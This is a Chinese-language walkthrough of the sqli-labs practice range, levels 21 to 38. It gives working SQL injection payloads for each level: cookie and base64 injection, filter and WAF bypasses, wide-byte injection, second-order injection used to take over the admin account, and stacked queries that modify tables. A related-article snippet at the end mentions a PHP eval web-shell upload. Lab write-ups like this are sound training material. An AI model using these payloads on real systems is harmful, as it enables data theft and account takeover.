sqli-labs-master靶场训练笔记(21-38|精英级)

2024.1.30 

 level-21

(cookie 注入+数据加密) 

从页面上就可以看出这次的数据被 baes64 加密了

中国有句古话:师夷长技以制夷 ,用base64加密后的数据即可爆出数据

加密前:

admin' and updatexml(1,concat('~',(select database()),'~'),1) and '

加密后: 

YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoJ34nLChzZWxlY3QgZGF0YWJhc2UoKSksJ34nKSwxKSBhbmQgJw==

(level-21能有什么坏心思呢,他只是进行了秘密行动罢了(๑>ڡ<)☆

level-22

(cookie 注入+数据加密) 

和level-21大差不差,用双引号装饰

admin" and updatexml(1,concat('~',(select database()),'~'),1) and "
YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoJ34nLChzZWxlY3QgZGF0YWJhc2UoKSksJ34nKSwxKSBhbmQgIg==

(level-22能有什么坏心思呢,(๑>ڡ<)☆) 

level-23 

 (注释过滤) 

简单试一下,发现注释被过滤了,很好,不会,下一题

level-24

当然那是不可能的,为了表达的不那么抽象,我这里打上了显示sql语句的代码

在 -- 或 # 等注释符被过滤时可以用下面的两个模式绕过

?id=1' and ''='
?id=1' ;%00

对上述语句进行扩充即可爆出数据 

?id=-1' union select 1,database(),3 and ''='

(level-23能有什么坏心思呢,他只是想要完整的身子罢了(๑>ڡ<)☆ 

level-24

(二次注入) 

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SOL 查询语句所导致的注入。防御者可能在用户输入恶意数据时,对其中的特殊字符进行了转义处理;但在恶意数据插入到数据库时,被处理的数据又被还原并存储在数据库中,当Web 程序调用存储在数据库中的恶意数据并执行 SOL 查询时,就发生了 SOL 二次注入。 

先新建一个账号登录看看,出现更改密码的页面

是时候展示明修栈道,暗度陈仓的手法了

再建立一个“普普通通”的账号

admin'#

 从cmd中可以看到成功创建

Ps:

为什么 admin'# 在创建时没有注释掉后面的语句?

通过查看源码

$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";

这里对我们插入的数据进行了转义,被当成了常规字符,而不是sql语句

 

这里就是暗度成仓的魅力了,在更新时,因为存在注释符的关系使得对我们账户的修改变成了对admin账户的修改,从而得到admin账户的权限

通过查询数据库可知账户被修改了,这样成功拿到了admin账户权限

(level-24能有什么坏心思呢,他只是不知道社会的险恶罢了(๑>ڡ<)☆ 

level-25

(bypass) 

对方都明牌和我们玩了,非常的傲慢,是时候表现一下身法了

身法一:等价代换

and 可用 &&,%26%26,like

or 可用 ||,%7c%7c

身法二:双写

如anandd,oorr

?id=1' like 1 -- a

在这题中,接下来构造poc时只需要注意关键字里有or,and字符的用双写代替即可

?id=-1' union select 1,2,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()) -- a

(level-25能有什么坏心思呢,他只是不想你要又要罢了(๑>ڡ<)☆)

level-25a 

 (bypass)

en....除了把数据类型改成了数字型,和level-25一模一样

?id=-1 union select 1,2,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()) -- a

 (level-25a能有什么坏心思呢,他不过是level-25的影分身罢了(๑>ڡ<)☆)

level-26

(bypass)  

在level-25的基础上,空格和注释被过滤了

在level-23中注释过滤的两个解决方案在这里依然适用,稍稍改变即可

?id=1' %26%26 ''='
?id=1' ;%00

接下来就要对付空格过滤了

空格被过滤的话,正常的查询语句就没用了(我没试出来,不知道各大佬有没有方法)

仔细想想,报错注入是没什么空格的,说不定可以

?id=1' || gtid_subset(database(),1);%00

 很好已经成功了一半,但报数据不用空格会导致字母堆在一起导致数据库无法解析

这时,用括号对着语句进行合理的分割, amazing

?id=1' || gtid_subset(concat('~',(select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema=database())),'~') ,1);%00

(level-26能有什么坏心思呢,他只是想除你武器罢了(๑>ڡ<)☆)

level-26a

 (盲注+bypass)

隐去了报错信息,那么在level-26的基础上用盲注爆破

?id=1')%26%26if(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),1,1)='a',exp(1),exp(999));%00

 (level-26a能有什么坏心思呢,他只是想让你看括号看到头大罢了(๑>ڡ<)☆)

level-27

 (bypass)

过滤继续升级,又过滤了 union 和 select,但是or没被过滤

按照前两关的操作慢慢的构造poc即可

Ps:select双写两次便可绕过

?id=1' || gtid_subset(concat('~',(ssselectelectelect (group_concat(table_name)) from (information_schema.tables) where (table_schema=database())),'~') ,1);%00

(level-27能有什么坏心思呢,他只是得寸进尺罢了(๑>ڡ<)☆) 

level-27a 

 (盲注+bypass)

和level-26a一个道理,改成盲注的poc即可,相信你们已经会了,偷个懒

level-28

 (bypass)

简单尝试后发现单个union,select不会被过滤,但 union%09select 被过滤了,得到初步结论,过滤的是union select这个整体,那就继续双写union select

?id=999') unionunion%09select%09select%091,2,3;%00

 (level-28能有什么坏心思呢,他只是有了整体思想罢了(๑>ڡ<)☆)

level-28a

 没看出来和level-28有什么区别

?id=999') unionunion%09select%09select%091,2,(select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database());%00

(level-28a能有什么坏心思呢,我是真没看出来(๑>ڡ<)☆) 

level-29

(waf)  

 不同于之前的关卡,要在后面接上/login.php/才是真真的waf关卡

绕waf

当我们强行传入两个名都为id的参数时,waf获取的是第一个参数,而忽略第二个参数,则对第二个参数的内容不做任何检查和过滤,这样第二个参数就可以传入到apache服务器端,进行解析

/login.php/?id=1&id=2' -- a

(不知道为啥图片没加载出来,不过无伤大雅) 

 毕竟是 waf 第一关,后面的就没什么心眼子,直接注入就行

?id=1&id=-1' union select 1,2,database() -- a

(level-29能有什么坏心思呢,他不过找了个不称职保镖罢了(๑>ڡ<)☆) 

level-30

(waf)   

" 闭合,pass 

?id=1&id=-1" union select 1,2,3 -- a

level-31

(waf) 

") 闭合,pass 

?id=1&id=-1") union select 1,2,database() -- a

level-32

 (宽字节注入) 

还是先单引号起手,提示我们单引号被转义了,那就要想想怎么进行单引号脱离了

宽字节注入:

特殊值字符如单引号都会被转义,如 ' -> \', (因为gbk占用2个字节,而ascii占用1个字节)

mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如%df%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围)。

我们在过滤 ' 的时候,往往利用的思路是将 ' 转换为 \
所以如果我们输入%df%27(%27就是单引符号会被转义成 \ 也就是 %5c%27),在后台%df会将%5c“吃掉”,组成一个汉字(%df%5c是一个汉字)。

既然知道了原理,那么爆数据也就不在话下了 

?id=-1%df' union select 1,2,database() -- a

在报数据中注意要把数据库名等信息用16十六进制填写

?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479 -- a

(level-32能有什么坏心思呢,他不过是语言不通罢了(๑>ڡ<)☆)

level-33

 (宽字节注入)

又是莫名其妙的一关,跟level-32一模一样

?id=-1%df' union select 1,2,database()-- a

level-34

  (宽字节注入)

 依旧的换汤不换药

uname=1%df' union select 1,database() -- a&passwd=&submit=Submit

level-35

 (宽字节注入)

变成了数字型

?id=-1 union select 1,2,database() -- a

level-36

 (宽字节注入) 

???为什么又是一样的

?id=-1%df' union select 1,2,database() -- a

level-37

 (宽字节注入) 

 算了,已经无语了

uname=?id=-1%df' union select 1,database() -- a&passwd=&submit=Submit

level-38 

(堆叠注入) 

这题乍一看感觉又是来卖萌的,这不是和level-1一模一样吗

然后仔细看了一下源代码,根据 mysqli_multi_query 猜测这题的本意应该是堆叠注入

mysqli_multi_query() 是 PHP 中用于执行多个 SQL 查询语句的函数。这个函数允许你在一个连接中执行多个查询,并返回一个结果标识符,以便你可以逐个获取每个查询的结果。

函数的语法:

mysqli_multi_query(mysqli $connection, string $query)
  • $connection:一个有效的 mysqli 连接标识符。
  • $query:要执行的 SQL 查询语句。

返回值:

  • 如果第一个查询语句执行成功,该函数返回一个结果标识符,你可以使用这个标识符来获取查询结果。如果第一个查询语句失败,该函数将返回 FALSE。
  • 对于后续的查询语句,该函数将返回 TRUE 或 FALSE,具体取决于查询是否成功。

利用堆叠注入进行数据库的篡改 

对users表中插入数据:

?id=1';insert into users(id,username,password) value(15,'2024','干杯!') -- a

为了方便这里的查询操作用cmd显示 

对着level-1试了一下,果然不行

删除刚刚插入的数据

?id=1';delete from users where id=15 -- a

(level-38能有什么坏心思呢,他不过可以多线程操作罢了(๑>ڡ<)☆)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/371264.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

ReactNative实现宽度变化实现的动画效果

效果如上图所示,通过修改设备宽度实现动画效果 import React, {useRef, useEffect, useState} from react; import {Animated, Text, View, Image} from react-native;const FadeInView props > {const fadeAnim useRef(new Animated.Value(0)).current;React…

item_get_video-获取视频详情(bili.item_get_video)

B站(Bilibili)的item_get_video API用于获取视频的详细信息。通过调用该API,您将能够获得视频的基本信息、元数据、播放链接等。这使得开发者可以轻松地将B站视频集成到自己的应用程序或网站中,为用户提供更丰富的内容和更好的体验…

vue项目集成booststrap

1.首先安装bootstrap npm install bootstrap 我安装的是4.3的版本 2.在main.js中引用bootstrap import bootstrap/dist/css/bootstrap.css import bootstrap/dist/css/bootstrap.min.css import bootstrap/dist/js/bootstrap.js import bootstrap/dist/js/bootstrap.min.…

新数据不影响原来的数据

问题描述 新数据修改时,原来的数据也会受影响 const obj1 ref({ name: slx, age: 20 })const obj2 obj1obj2.value.name hhhhconsole.log(obj1, obj1.value)console.log(obj2, obj2.value)解决方法 (仅适用于对象 在这段代码中,obj1 和 obj2 指向同…

ASP.NET Core 预防开放式重定向攻击

写在前面 为预防钓鱼网站的常用套路,在进行 Web 应用程序的开发时,原则上应该将所有由用户提交的数据视为不可信。如果应用程序中包含了基于 URL 内容重定向的功能,需要确保这种类型的重定向操作只能在应用本地完成,或者明确判断…

MQTT在linux下服务端和客户端的应用

MQTT(Message Queuing Telemetry Transport)是一种轻量级、开放标准的消息传输协议,设计用于受限设备和低带宽、不稳定网络的通信。 MQTT的一些关键特点和概念: 发布/订阅模型: MQTT采用发布/订阅(Publ…

编译原理本科课程 专题5 基于 SLR(1)分析的语义分析及中间代码生成程序设计

一、程序功能描述 本程序由C/C编写,实现了赋值语句语法制导生成四元式,并完成了语法分析和语义分析过程。 以专题 1 词法分析程序的输出为语法分析的输入,完成以下描述赋值语句 SLR(1)文法的语义分析及中间代码四元式的过程,实现…

基于tomcat的https(ssl)双向认证

一、背景介绍 某个供应商服务需要部署到海外,如果海外多个地区需要部署多个服务,最好能实现统一登录,这样可以减轻用户的使用负担(不用记录一堆密码)。由于安全问题(可能会泄露用户数据)&#x…

【大厂AI课学习笔记】1.5 AI技术领域(1)计算机视觉

人工智能的三大基础应用领域是,自然语言处理,语音识别,计算机视觉。 计算机视觉:定义、关键技术、技术发展、应用场景与商业化成功 一、计算机视觉的定义 计算机视觉,作为一个跨学科的领域,旨在研究如何让…

ArcGIS Pro 按照字段进行融合或拆分

ArcGIS Pro 按字段融合 在ArcGIS Pro中,通过使用“融合”工具可以轻松地合并具有相同字段的图层。 步骤一:打开ArcGIS Pro 启动ArcGIS Pro应用程序,确保您已经登录并打开您的项目。 步骤二:添加图层 将包含相同字段的图层添加到…

【Linux】信号-上

欢迎来到Cefler的博客😁 🕌博客主页:折纸花满衣 🏠个人专栏:题目解析 🌎推荐文章:【LeetCode】winter vacation training 目录 👉🏻信号的概念与产生jobs命令普通信号和实…

牛客网-------------------------长方体

解题思路: 设棱长为x,y,z;假设已知面积为a,b,c 那么,xya;yzb;xzc; 一式除二式得x/za/b x(a/b)*z 联立xzc 代入得(a/b)z^2c z^2c*b/a z根号下&…

Windows自动化实现:系统通知和任务栏图标自定义

文章目录 Windows自动化的三个小工具系统通知任务栏图标使用pystray实现使用infi.systray实现 Windows自动化的三个小工具 系统通知 import win10toastwin10toast.ToastNotifier().show_toast("eee", "休息一下", icon_path"icon.ico", durati…

服务器和云计算之间有什么关系?

云计算与服务器之间的关系是密切而复杂的。首先,我们需要明确一点,云计算并不是一种全新的技术,而是对现有技术的一种整合和改进。在这个基础上,我们可以更好地理解云计算与服务器之间的关系。 服务器是云计算的重要组成部分之一…

2024/02/04

1.请编程实现双向链表的头插,头删、尾插、尾删 //双向链表头插 DoubleLink insert_head(DoubleLink head,datatype element) {//创建新节点DoubleLink screate();s->dataelement;//链表为空if(NULLhead)heads;else{s->nexthead;head->prevs;heads;}return…

大数据 - Spark系列《四》- Spark分布式运行原理

Spark系列文章: 大数据 - Spark系列《一》- 从Hadoop到Spark:大数据计算引擎的演进-CSDN博客 大数据 - Spark系列《二》- 关于Spark在Idea中的一些常用配置-CSDN博客 大数据 - Spark系列《三》- 加载各种数据源创建RDD-CSDN博客 目录 🍠…

Leetcode—33. 搜索旋转排序数组【中等】

2024每日刷题&#xff08;110&#xff09; Leetcode—33. 搜索旋转排序数组 实现代码 class Solution { public:int search(vector<int>& nums, int target) {int n nums.size();int l 0, r n - 1;while(l < r) {int m l (r - l) / 2;if(nums[m] target) …

【Django开发】美多商城项目第3篇:用户注册和图片验证码开发(附代码,文档已分享)

本系列文章md笔记&#xff08;已分享&#xff09;主要讨论django商城项目开发相关知识。本项目利用Django框架开发一套前后端不分离的商城项目&#xff08;4.0版本&#xff09;含代码和文档。功能包括前后端不分离&#xff0c;方便SEO。采用Django Jinja2模板引擎 Vue.js实现…

配置visualsvn提交后自动邮件通知

参考&#xff1a; https://blog.csdn.net/wiker_yong/article/details/10334967 # -*- coding: utf-8 -*- import sys import os import smtplib from email.mime.text import MIMEText from email.header import Headermail_host smtp.163.com #发送邮件的smtp地址 mail_us…

[SWPUCTF 2021 新生赛]easyupload1.0

发现是上传文件第一想到是文件木马 <?php eval ($_POST[123]);?>木马上传burp修改后缀发现flag里面这个是假的 我们猜想是在phpinfo我们上传<?php eval(phpinfo(););?>木马上传burp修改后缀里面 CtrlF 发现flag